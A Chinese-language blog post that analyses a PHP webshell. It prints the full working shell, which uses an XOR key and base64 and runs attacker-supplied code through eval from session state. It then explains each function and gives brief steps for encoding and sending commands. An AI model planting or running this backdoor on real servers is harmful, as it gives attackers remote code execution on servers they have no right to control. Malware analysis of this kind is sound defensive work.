某php webshell分析

🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='360';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}

检测

virustotal

分析

加密函数

首先定义了函数 E

1
2
3
4
5
6
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}

可以看出,是用于异或加密,将 $D$i 位和 $K$i+1&15 位进行异或 ,由于php中运算优先级 + 大于 &,因此 $i+1&15 的值在 [0,15] ,最后返回加密过的数组 $D

关键逻辑

然后到了关键逻辑部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$P='360';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}

从POST取 360 的值, BASE64 解码, 然后异或加密,最后再 BASE64 解码一遍,得到了 $F这个是要执行的代码

新设定cookie中 PHPSESSID 的值,初次访问会将 $F 的值给当前session的 $_SESSION[$V] ,第二次访问就会从 $_SESSION[$V] 取 到代码,以分割符 分割为数组 $A ,中间还定义了 Class C ,后面用于执行 $A[0] 的代码。

最后输出 $P.$Tmd5摘要的前16位 + Q(E(@run($F),$T)) + 摘要的后16位。 这个 Q(E(@run($F),$T)) 我不太理解,调试也没通,如果有人看见这文章,求讲解🧐。

使用

首先加密要执行的代码。

1
Q(E(Q('phpinfo();'),$T))

然后放入post,设置 cookiePHPSESSID

image-20220804114756549

然后执行两遍,第二遍就能看到效果了。要执行别的命令需要换 PHPSESSID